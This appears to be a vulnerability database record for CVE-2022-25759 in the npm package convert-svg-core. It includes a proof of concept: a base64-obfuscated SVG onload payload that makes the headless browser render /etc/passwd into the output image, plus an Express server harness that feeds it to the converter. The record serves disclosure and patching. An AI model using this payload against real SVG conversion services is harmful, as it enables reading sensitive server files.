{"id":"CVE-2022-25759","aliases":["GHSA-5gxc-fxcr-9326"],"url":"https://o3.security/vulnerability/CVE-2022-25759","summary":"Remote Code Injection","details":"The package convert-svg-core before 0.6.2 is vulnerable to Remote Code Injection via sending an SVG file containing the payload in an `onload` attribute. Puppeteer/Chromium (used by convert-svg-core) will execute any code within that tag, including malicious code.\n\n### PoC\n\n**Payload**\n\n```html\n<svg onload=eval(atob(this.id)) id='ZG9jdW1lbnQud3JpdGUoJzxzdmctZHVtbXk+PC9zdmctZHVtbXk+PGlmcmFtZSBzcmM9ImZpbGU6Ly8vZXRjL3Bhc3N3ZCIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwMHB4Ij48L2lmcmFtZT48c3ZnIHZpZXdCb3g9IjAgMCAyNDAgODAiIGhlaWdodD0iMTAwMCIgd2lkdGg9IjEwMDAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PHRleHQgeD0iMCIgeT0iMCIgY2xhc3M9IlJycnJyIiBpZD0iZGVtbyI+ZGF0YTwvdGV4dD48L3N2Zz4nKTs='></svg>\n```\nwhere the `id` attribute is the base 64-encoded form of \n\n```js\ndocument.write('<svg-dummy></svg-dummy><iframe src=\"file:///etc/passwd\" width=\"100%\" height=\"1000px\"></iframe><svg viewBox=\"0 0 240 80\" height=\"1000\" width=\"1000\" xmlns=\"http://www.w3.org/2000/svg\"><text x=\"0\" y=\"0\" class=\"Rrrrr\" id=\"demo\">data</text></svg>');\n```\n\n\n**Attack**\n\n```js\nconst { convert } = require('convert-svg-to-png');\nconst express = require('express');\nconst fileSvg = `[[[payload]]]`;\n// YWxlcnQoMSk=\n// function newContent(){document.open(),document.write('<text x=\\\"0\\\" y=\\\"0\\\" class=\\\"Rrrrr\\\" id=\\\"demo\\\">data</text>'),document.close()}\nconst app = express();\napp.get('/poc', async (req, res)=>{\n  try {\n    const png = await convert(fileSvg);\n    res.set('Content-Type', 'image/png');\n    res.send(png);\n  } catch (e) {\n      console.log(e);\n    res.send(\"\");\n  }\n});\napp.listen(3000, ()=>{\n  console.log('started');\n});\n```","published":"2022-07-22T20:00:19.307Z","modified":"2026-08-12T03:51:13.171193014Z","cvss":{"score":9.9,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:P"},"epss":null,"cisaKev":null,"exploitsKnown":2,"affectedPackages":[{"ecosystem":"npm","name":"convert-svg-core","fixedVersion":"0.6.2"}],"fix":{"url":"https://github.com/neocotic/convert-svg/commit/7e6031ac7427cf82cf312cb4a25040f2e6efe7a5","label":"neocotic/convert-svg@7e6031a"},"references":[{"type":"WEB","url":"https://security.snyk.io/vuln/SNYK-JS-CONVERTSVGCORE-2849633"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2022/25xxx/CVE-2022-25759.json"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2022-25759"},{"type":"REPORT","url":"https://github.com/neocotic/convert-svg/issues/81"},{"type":"FIX","url":"https://github.com/neocotic/convert-svg/commit/7e6031ac7427cf82cf312cb4a25040f2e6efe7a5"},{"type":"FIX","url":"https://github.com/neocotic/convert-svg/pull/82"},{"type":"PACKAGE","url":"https://github.com/neocotic/convert-svg"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:13.171193014Z"}}